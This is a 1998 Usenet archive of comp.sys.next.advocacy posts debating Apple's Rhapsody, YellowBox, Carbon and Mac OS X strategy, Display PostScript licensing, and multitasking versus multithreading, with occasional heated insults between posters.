<http://www.macintouch.com/m10carbon.html>) Ken Broomfield points out that the
Mac OS API's can't currently support multi-tasking:
> This is the essential problem with moving the MacOS forward: the API definitions
> for many parts of the OS, including Quickdraw, were designed incorrectly for
> multi-threading/multi-processing. To allow multi-threaded applications to use these
> services, the APIs have to be extensively redesigned and applications that call them
> will have to be significantly reworked, something that is apparently going to happen
> gradually, if at all.
So OS X apps aren't going to be multi-tasking after all. Is OS X just another
Apple smokescreen?
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 14 May 1998 23:37:51 GMT
Organization: P & L Systems
Message-ID: <6jfv8f$1cc$34@ironhorse.plsys.co.uk>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
<6jd4b4$5nv$4@msunews.cl.msu.edu> <355A1631.F7BD6362@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355A1631.F7BD6362@milestonerdl.com> M Rassbach wrote:
> Simple. Just announce that "Apple considerers NT 5.x to be a key platform
> to support.
>
Why give Micro$oft free advertising?
Apple should market its own products. When Win98/NT5 ships, then say
something about it.
[...]
> How convincing is learning YellowBox if it runs on old 95/NT4 and Macintosh
> machines?Carbon exists because YellowBox wasn't convincing enuf.
>
You really haven't understood, have you?
Carbon exists because the Rhapsody plan as first stated disenfranchised too
many Mac developers who lacked the resources to port to YellowBox, not
because YellowBox didn't support enough platforms.
mmalc.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 14 May 1998 20:42:02 GMT
Organization: Cygnus Solutions
Message-ID: <6jfkuq$gn2$1@cronkite.cygnus.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at>
<slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com>
<355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at>
<355b5409.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <355b5409.0@206.25.228.5> John Kheit wrote:
> Christian Benesch <a9226931@unet.univie.ac.at> wrote:
> > John Kheit wrote:
> > > Speaking of which...will any of this mean a damn if the rumor of
> > > YB not being free for developers on windows? Who is going to use
> > > it if dlls are not free?
>
> > The traditional NeXT clientele for one.
> > And for custom business applications $20 are a LAUGH.
>
> You're likely right. But who is going to make all those cool freebee apps,
> or the cheapo 20buck apps. Or even your average mainstream app. After
> all, that is the market we're in. I don't want to go back to
> microBreweryNiche'dom ala the NeXT marketplace anytime soon if at all. The
> one cool thing that I heard is that a bunch of people could get together
> and put all their apps on one CD and pay only one license fee. So, for
> example, PEAK (the ftp site with ALL next/rhapsody software on it) could
> press a disc, sell it for $theirFee+20 and all the YB software could
> leverage the DLL's off that disc. Not optimal, but getting better.
>
> My guess is this is mostly over the DPS license fee. I'm pretty sure
> that's what all the hubub has been over the graphics engine scuttlebut
> about the show. So if apple has to, it will simple shove Display
> Ghostscript (DGS) in there once it gets it polished enough for use and end
> things.
>
> Personally I think Adobe is foolish for not THINKING HARD about a way to
> give away the YB dll's for free with freeware and yet still charging the OS
> makers for every seat it sells. Perhaps having the free DLL's limited to
> only rendering at a max of 100dpi, to printers or something like that.
> Because DGS is free, and it's real enough to kill DPS.
>
Actually, I don't understand why Apple doesn't just invest the money and/or
programmers into GnuStep to get DGS finished (I can understand them not
helping with the general GnuStep project, though I'd like to see that too).
How much will distributing DPS at their own cost end up costing them? How
much will it cost them in compromises to Adobe? How much would it cost to
just get DGS finished instead?
Heck, if Adobe's gonna be a pain about it, while Apple's at it, how much
would it cost them to go entirely Ghostscript? No more buggery about non-PS
printers, and no more revenue to Adobe for non-PS printer licenses, on
Nextstep (I don't know if this problem is carrying forward to Rhapsody or
not).
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 14 May 1998 15:38:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B180C072-D5287@206.165.43.181>
References: <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>
>Yellow will infiltrate the Mac market from the bottom up.
How? YB won't run on MacOS 8.x, only MacOS X.
X is NOT a consumer-oriented OS, and unless you can sell to millions of
customers, you can't get the market-penetration to make Yellow a standard
on MacOS.
Remember: Carbon will work on the consumer-oriented MacOS but YB won't. How
many sales will there be of MacOS 8.5 compared to how many sales of
Rhaposdy?
YB is, if not dead, seriously injured.
So unless Mike Paquette pulls a rabbit out of his hat and provides GX-level
graphics for Carbon, high-end graphics developers for MacOS no longer have
a high-end graphics engine that will work on both low-end and high-end
Macintoshes.
<blink>
A light dawns: Adobe and Macromedia get to rule the high-end and low-end of
MacOS because no serious graphics developer will be able to compete on
MacOS 8.5 AND MacOS X using the graphics tools available in Carbon and DPS
won't be available for MacOS 8.5 users because YB won't be.
GX dies and DPS is rendered impotent.
Wheels within wheels within wheels...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Ted Martin" <tmartin@bcpl.net>
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Thu, 14 May 1998 20:06:46 -0400
Organization: Erol's Internet Services
Message-ID: <6jg12k$o12$1@winter.news.erols.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5>
That's a Main Street One. Wall Street is $4000-6000, hence the name. Yes, I
can easly buy a decent used car for 4000. Like a 65 Mustang Convertable, in
pretty decent condition
>> >I've been reading about the new Wall Street's and those things
>> You expect a car for $2299. Where do you live, Romania?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Thu, 14 May 1998 17:09:20 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B6B90.AD8F648F@milestonerdl.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at>
<slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com>
<355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at>
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John Rudd wrote:
> Actually, I don't understand why Apple doesn't just invest the money and/or
> programmers into GnuStep to get DGS finished
Apple isn't going to help what competes with them. DGS would help GnuSTEP and
GnuSTEP takes a crown jewel and clones it.
Jobs made the Macintosh 'hacker proof' - you remember them, the ones with no
slots.
> (I can understand them not
> helping with the general GnuStep project, though I'd like to see that too).
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 15:45:45 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981545450001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <6jd1ov$1a3$1@xmission.xmission.com> <6jed3f$kfa$1@larry.admin.phil.uu.nl>
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In article <6jed3f$kfa$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> They probably lost _us_ (my site, that is.) We were betting
> on Rhapsody to show that Apple could still innovate and
> deliver. Our management gave us to January 1999. Ah well,
> time to learn something about Windows NT (or to start looking
> for a new job :-))
Why are you worried? Don't you have DR2 now? And isn't Rhapsody coming out
in September?
Andy Bates.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 00:12:44 GMT
Organization: P & L Systems
Message-ID: <6jg19s$1cc$36@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6jd2q7$bs1$1@nnrp1.dejanews.com>
<355A0313.E62651A2@milestonerdl.com> <355A04FC.420CED76@milestonerdl.com>
<6jd44l$522$1@camel21.mindspring.com> <355B3865.D74E6279@spamtoNull.com>
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Cc: Limeyville@spamtoNull.com
In <355B3865.D74E6279@spamtoNull.com> Jonathan Harker wrote:
> I like to think of myself more as a "reasonable counterpoint" than a
> rabid troll, thank you...:)
>
More self-delusion.
You're a bloody idiot.
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 20:28:00 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jg26g$89f$1@crib.bevc.blacksburg.va.us>
References: <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114>
In article <B180C661-12F863@207.217.155.114>, "Brad Hutchings" <brad@hutchings-software.com> wrote:
> Someone starting a new app should definitely consider YB _when MacOSX
> ships_. Right now, however, if you start a new app with hopes of bringing
> it to market by fall, you might be taking a significant risk writing to YB.
Why is that? YB will be shipping in the fall. Even if you don't believe
that, you can still consider YB when Rhapsody ships, before OS X does.
Or, if you're _really_ paranoid, you can even wait until the OS X beta
comes out in Q1 99 to prove that Carbon is viable. There's no need to
wait until Q3 99 to even consider writing YB apps.
Remember, it takes time to write apps, and you really would like to have
something ready _when_ the OS ships, so you can begin selling it.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 14 May 1998 23:32:19 GMT
Organization: P & L Systems
Message-ID: <6jfuu3$1cc$33@ironhorse.plsys.co.uk>
References: <6jatq7$72e$1@xmission.xmission.com> <3559D285.C7FC88FA@milestonerdl.com>
<6jctjh$4m2$1@crib.bevc.blacksburg.va.us> <355A0000.98C34AB5@milestonerdl.com>
<6jd4jf$51e$1@crib.bevc.blacksburg.va.us> <355A11FE.175EB7DE@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355A11FE.175EB7DE@milestonerdl.com> M Rassbach wrote:
> Give developers MORE. Give them Solaris/HP-UX. (They had that with
> OpenSTEP)Then, get down and dirty.....get runtimes to work with
Linux/FreeBSD.
> (Sell the runtimes. If you want non-mainstream implementation you pay.)
>
To be generous, you are misrepresenting the case.
Developers did not have OPENSTEP with Solaris/HP/UX.
Developers had NEXTSTEP on Sparc and HP/PA-RISC systems as a complete OS.
Developers had OPENSTEP on Sparc as a complete OS.
Developers had OpenStep (note capitalisation) on Solaris, briefly, from Sun
as NEO.
Developers have never had OPENSTEP in its full form on Solaris or HP/UX.
Developers had, *and still have*, many of the components of OPENSTEP on
Solaris and HP/UX as part of WebObjects.
So Apple is already delivering much of what you're asking, if you bothered to
look instead of bitching mindlessly.
Why don't they deliver the whole shebang?
Economics.
It took a *lot* of effort to deliver YB/Windows. But that's a *big*
marketplace, so potential returns are great. It would take a similar level
of effort to port the GUI (AppKit) elements to HP-UX/Solaris. And that, by
comparison, is a *small*, *very small*, marketplace. It's simply not worth
it. Most people use the Big Iron for server-style apps, and the YellowBox
components of WebObjects deliver that today.
mmalc.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X - Just Another Smokescreen?
Date: 15 May 1998 00:04:56 GMT
Organization: MiscKit Development
Message-ID: <6jg0r8$kf0$1@news.xmission.com>
References: <355B6CDA.3D3BEB84@aol.com>
Vik Rubenfeld <VikR@aol.com> wrote:
> In an article on MacIntouch today (at
> <http://www.macintouch.com/m10carbon.html>) Ken Broomfield points
> out that the
> Mac OS API's can't currently support multi-tasking:
No he doesn't. You're misreading it.
> > This is the essential problem with moving the MacOS forward:
> > the API definitions
> > for many parts of the OS, including Quickdraw, were designed
> > incorrectly for
> > multi-threading/multi-processing. To allow multi-threaded
> > applications to use these
> > services, the APIs have to be extensively redesigned and
> > applications that call them
> > will have to be significantly reworked, something that is
> > apparently going to happen
> > gradually, if at all.
>
> So OS X apps aren't going to be multi-tasking after all.
Just because there's a "multi" in "multi-threading" and "multi-tasking"
doesn't mean that they are the same thing. Carbon based apps WILL be
"multi-tasking" -- preemptively multitasked -- but are less likely to be
"multi-threaded".
The difference is staggering. Multitasking is the important thing, and the
one thing everyone should want: no one app can completely starve out the
others by taking over the CPU. Each app only gets a slice of the CPU's time,
and they all get a fair share.
Multi-threading is harder to support because of internal synchronization
issues. All it is is allowing multiple threads of execution within a
_single_ application. Like, for example, the way that OmniWeb loads several
web graphics simultaneously, each in a different thread. Or when TIFFany
passes image data through a filter in the "background". In neither case does
the GUI have to wait for the operation to complete; it is like having an
independent program within another program.
I'll bet a carbon app could use multi-threading if the author of the app is
willing to put in the necessary synchronization locks, etc. Even if the
Carbon APIs aren't designed for it, in the worst case you put a mutex lock
around the whole API and then it is threadsafe (oversimplification, but it
can be done). Most MacOS apps aren't designed for multithreading and so
retrofitting the locks might be harder than just doing a YellowBox rewrite.
And the way you retrofit the locks may make threading into more trouble than
it is worth. The debugging issues with threads are really hairy, and most
programmers will tell you that you should avoid them if you can. :-P
But multi-tasking is different: we all should want it. And we'll get it
with Mac OS X, thank heavens.
> Is OS X just another Apple smokescreen?
No, you're just jumping to conclusions based on a poor understanding of the
terms and concepts involved.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 20:23:38 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jg1ua$88j$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B5AC9.C702C235@milestonerdl.com> <6jft1v$83b$1@crib.bevc.blacksburg.va.us> <355B7034.DB4FE5B8@milestonerdl.com>
In article <355B7034.DB4FE5B8@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > Remeber what this whole thread was about when you interrupted it?
> Mr. Lawson started it, "So that's it?" mentioned the stripping of the 'bad'
> calls, points out Rhapsody is a framework and asks what the $400 bought.
I said "when you interrupted it". I was addressing an issue _completely
different than_ "Apple's committment to cross-platform", and you jumped
in and claimed that what I said implied that Apple is not committed
to cross-platform.
> My question HAS been if Apple has any plans for NT 5.x/98. Because, without
> a plan for NT 5.x/98, any talk of cross-platform long-term viabilty is void.
I'll bet money that YB will at some point work on NT5/98.
> If there some Apple URL, paper or, well ANYTHING to disprove NT 5.x/98
> support, then I won't have to ask about it, right?
Yet you're fully confident that there won't be.
> > and nothing said by any of us,
> > other than you, had to do with whether Apple has a cross-platform plan;
> > the whole point of the thread was to discuss how Yellow compared to
> > Carbon in ways _other_ than cross-platform ability.
> So, cross-platform doesn't matter then?
A discussion of how Yellow compares to Carbon in ways other than
cross-platform ability does not imply that cross-platform doesn't matter!!
It simply means that we were discussing the relative merits of Yellow
vs. Carbon in ways other than cross-platform capability!
It is _astonishing_ how you turn _every_ single statement _anyone_
makes into a claim that Apple is not committed to cross-platform or
cross-platform does not matter -- when they are in reality not saying
anything of the sort, and usually not anything having to do with
cross-platform at all.
You truly are mentally deficient, and your stupidity is not worth my
time.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 15 May 1998 00:47:35 GMT
Message-ID: <6jg3b7$nol$1@newsfep4.sprintmail.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us>
<ericb-1405981420100001@132.236.171.104> <355b4a2a.0@news.depaul.edu>
Mime-Version: 1.0
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Cc: jhendry@shrike.depaul.edu
In <355b4a2a.0@news.depaul.edu> Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
>
> > OS 8 isn't going to get Yellow, so it seems, and OS X won't run on the
> > vast majority of machines out there...
>
> That's the price you pay for keeping Apple a hardware-oriented company.
Hi Jonathon. IN a email to me, you said "if apple "steves" rhapsody, they
"steve" macos x (I hope I got that right, after I deleted the email I wanted
to reply, but it was deleted :P) because rhapsody IS macos x.
THus, rhapsody wont run on intel machines, and wont be cross platform, if as
you say rhapsody = macos x, and macos x wont run on intel machines. Am I
missing something?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 15 May 1998 00:14:24 GMT
Organization: Cygnus Solutions
Message-ID: <6jg1d0$gn2$2@cronkite.cygnus.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at>
<slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com>
<355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at>
<355b5409.0@206.25.228.5> <6jfkuq$gn2$1@cronkite.cygnus.com>
<355B6B90.AD8F648F@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355B6B90.AD8F648F@milestonerdl.com> M Rassbach wrote:
>
>
> John Rudd wrote:
>
> > Actually, I don't understand why Apple doesn't just invest the money
and/or
> > programmers into GnuStep to get DGS finished
>
> Apple isn't going to help what competes with them. DGS would help GnuSTEP
and
> GnuSTEP takes a crown jewel and clones it.
>
> Jobs made the Macintosh 'hacker proof' - you remember them, the ones with
no
> slots.
>
That's a rather myopic point of view... and contrasts greatly with moves Jobs
has made in the more-recent-than-macintosh-history.
1) rather than continue developing a proprietary c and objective-c compiler,
NeXT went with gcc. (hacker proof!? yeah, right)
2) Openstep is an _OPEN_ spec. It is meant to be cloned by other groups. If
Jobs didn't want that, he wouldn't have allowed it to be an open spec.
3) mklinux competes with Apple's OS's.. yet Apple supports mklinux.
(further, mklinux, supported by Apple, runs on HP and Intel hardware.. it not
just competes with Apple on their own hardware, but on other hardwares as
well.. supporting mklinux could cost them hardware sales, if they were to use
your myopic point of view.. )
Further, there has never been an indication of animosity from Jobs toward the
Gnustep project that I can recall (and I seem to recall positive things being
said).
Last, and most myopic, is the notion that Apple wouldn't/couldn't/shouldn't
do DGS because that helps Gnustep, which may be a competitor. That's just
plain BS. That's like saying Apple shouldn't help contribute to next
generations of NFS, UFS, NIS, etc, because "oh no, people might use it to
compete with our offerings".
For one, it can mean _LESS_ work for Apple, as other people encountering
similar bugs or problems might fix it before Apple gets around to it. Since
it's an open (and open-source) arena, Apple is likely to at least see the
formal description of the bug, if not the actual fix, before they even spend
time fixing it. Using a common DPS version instead of a proprietary
implimentation can give you all sorts of bennefits.. and using a proprietary
one can cause you all sorts of headaches. For example, it would make little
sense for Apple to build their own SMBFS engine at this point. It makes more
sense for them to continue building and bundling samba with their
distributions (which NeXT started doing with 4.0). And, as long as the one
they ship works, and they let the samba project know what configuration
changes had to be made, Apple has to do almost nothing to keep samba
supported -- as new releases of samba come up, Apple at most has to
re-integrate the config changes and test it to be sure it still works (except
in the rare case of a major reimplimentation of samba.. which shouldn't
happen too often, or the samba project is doing something wrong).
For two, what helps your enemy does NOT necessarily hurt you (assuming
Gnustep is the enemy, which it is not).. and when you share common needs with
your "enemy", hurting them on that common need can _kill_ you. Apple stands
to gain more by Gnustep proliferating, and thus Openstep proliferating, than
by hurting _ANY_ Openstep variant. Doing things to hinder or halt the spread
of Openstep so that Apple can horde it only means that Openstep is that much
less a _standard_, and that much less widely adopted. This hurts the thing
which is the fundamental point of Openstep -- portability to multiple
platforms as more people adopt Openstep. Sure, if Apple and Openstep were in
a monopoly position in the market, they could get away with it. But they're
not, and they can't.
Apple can only _win_ by backing DGS. And backing DGS does not at all imply
helping any other aspect of the Gnustep project.. Gnustep could still fail
even if Apple were to finish and give them a fully working DGS
implimentation. They win by having a standard and open implimentation of a
system service (thus countering the percieved trend of Apple never doing
things the standard way). They win in the PR arena (by supporting the
free-software arena). They win by preserving a widely liked system service
yet removing their reliance on a particular and annoying group that controls
it, and that allows them to distribute it without the license fees.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 00:07:24 GMT
Organization: P & L Systems
Message-ID: <6jg0vs$1cc$35@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com>
<6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Limeyville@spamtoNull.com
In <3559F5A0.E8E7FB3D@spamtoNull.com> Jonathan Harker wrote:
> > b) Yes, you're absolutely right. Jobs (with his team) has found a way to
> > pull the wool over people's eyes so Apple can serve up Rhapsody so that
it is
> > palatable to the traditional Mac users and developers so they feel like
first
> > class citizens again, rather than facing life in a "compatibility
> > environment".
> >
> ...Yes, 18 months late.
>
> That's precisely what I think this is--yet another PR ploy from the
> neo-Apple. They know full well that a mainstream Rhapsody is going to
> take another 18 months to become palatable to most prospective
> customers,
>
No, without Carbon it was, sadly, clear that Rhapsody was increasingly
unlikely ever to be palatable to the majority of Mac users, and in particular
developers.
> so rather than announce a "We're late" apology, Jobs comes up
> with a way to "fool" people and rolls Rhapsody over into "Mac OS 10" for
> Q3 1999. How many will be fooled? That remains to be seen, I think.
>
You're fooling yourself. Why should there be a "We're late" apology?
Rhapsody CR1 (FKA Unified) will it seems be released on time. It's a shame
they skipped Premier, which they do deserve criticism for.
> BTW, there never was a "compatibility environment" that worked to any
> satisfactory degree. Blue box, while certainly a great idea on paper and
> enough to allow Jobs to squiggle into his present position, has always
> been little more than fool's gold.
>
What utter bollocks. It works fine.
> slated for Q3 1999 does away with it. What could be more transparent? As
> many have said, Mac OS 10 is merely Rhapsody very late and without the
> blue box or need to explain why there's no blue box. And just like with
> Blue Box, it looks great on paper and Q3 1999 is a long, long way off.
>
You're providing further evidence for your moniker "poster sans clue
extraordinaire".
Rhapsody 1.0 will ship in Q3 1998. ~ on time.
MacOS X (in effect be Rhapsody 2.0) will include Carbon *and BlueBox*, in Q3
1999.
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 14 May 1998 20:33:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jg2gm$8aa$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk>
In article <6jfual$1cc$32@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <3559D08E.CC749854@milestonerdl.com> M Rassbach wrote:
> > Again, Microsoft-centric applications have a history of breaking at the
> > time of a Microsoft OS upgrade. What is Apple's level of commitment?
> > None, that I see.
> > Or, do you TRUST Apple?
> OK, since you're being such a pain, I guess it's time to start betting again.
>
> I'm willing to lay down $100 that within a year of Win98 shipping Apple has
> YellowBox running on it.
>
> Put up or shut up.
I made him a similar offer, though I didn't specify a value. Those terms
sound good to me. Want to take us up on it, M Rassbach?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 14 May 1998 20:37:57 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jg2p5$8b2$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <rex-1405981953440001@192.168.0.3>
In article <rex-1405981953440001@192.168.0.3>, rex@smallandmighty.com (Eric King) wrote:
> In article <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> :Yellow will infiltrate the Mac market from the bottom up.
> Damn that sounds suspiciously similar to what folks were saying about
> GX, OpenDOC, Powertalk, etc. The problem with coming from the bottom up,
> is that Apple usually craps on the folks at the bottom at the behest of
> the folks on the top.
I think it's unlikely that Apple will weaken their YB support, given
the _large_ amount of work they are currently putting into the
technologies, the fact that they've already killed everything killable,
the considerable superiority of the technology, etc. And YB is not an
individual "non-core" technology like those others, it's an _entire_
development API, that's very core. I _can_ see them weakening YB support
if no one ever uses it. In that case, it _should_ be killed.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Date: Fri, 15 May 1998 11:23:08 +1000
Organization: University of Queensland
Message-ID: <6jg587$677$1@nargun.cc.uq.edu.au>
References: <6j65u1$c04$1@news.orbitworld.net> <nYv61.155$Q22.1604745@newsread.com> <6jf7oi$5cc$1@interport.net>
float@interport.net wrote in message <6jf7oi$5cc$1@interport.net>...
>Nephilim (nephilim@hotmail.com) wrote:
>
>: How many people do you HONESTLY know of that
>: could run Unix? Those of us who can run Unix are the elite few.
>
>Anyone who can make NT work reliably is more than skilled enough to work
>Unix. In fact, they might be able to turn water into wine and heal the
>sick.
>--
>
> Ben
>
><Just Another System Administrator>
Thanks :)
--
It is a period of system war. User programs, striking from a hidden
directory, have won their first victory against the evil Administrative
Empire.
During the battle, User spies managed to steal secret source code to the
Empire's ultimate program: the Are-Em Star, a privileged root program with
enough power to destroy an entire file structure. Pursued by the Empire's
sinister audit trail, Princess _LPA0 races ~ aboard her shell script,
custodian of the stolen listings that could save her people, and restore
freedom and games to the network...
-- DECWARS
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: 15 May 1998 02:03:03 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6jg7on$98l$3@blue.hex.net>
References: <rex-1305982005510001@192.168.0.3> <1998051401185200.VAA03980@ladder03.news.aol.com>
On 14 May 1998 01:18:52 GMT, WillAdams <willadams@aol.com> wrote:
>It would be a really nice thing if Apple were to step in at this point and
>bankroll the development of Display GhostScript for GNUstep.
>
>They (GNU) is stumping for donations for it.
Actually, that's no longer entirely true. The latest GNUS Bulletin
indicates that:
"The Free Software Foundation and Net Community have raised the full
funding of about $14,000 USD for the completion of Display Ghostscript -
that is, extending Ghostscript to support the Display Postscript
features."
There's obviously work still to be done; an 'official' release of DPS
hasn't been made.
No doubt there would be interest were Apple to contribute some technical
assistance, particularly in such things as a test suite to validate that
DGS works correctly.
--
"But what....is it good for?" -- Engineer at the Advanced Computing
Systems Division of IBM about the microchip. 1968
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
Message-ID: <355BA818.2C63@ibm.net>
Date: Thu, 14 May 1998 21:27:36 -0500
From: "David P. Cole" <avon@ibm.net>
Organization: Organization? I think for myself, thanks anyway.
MIME-Version: 1.0
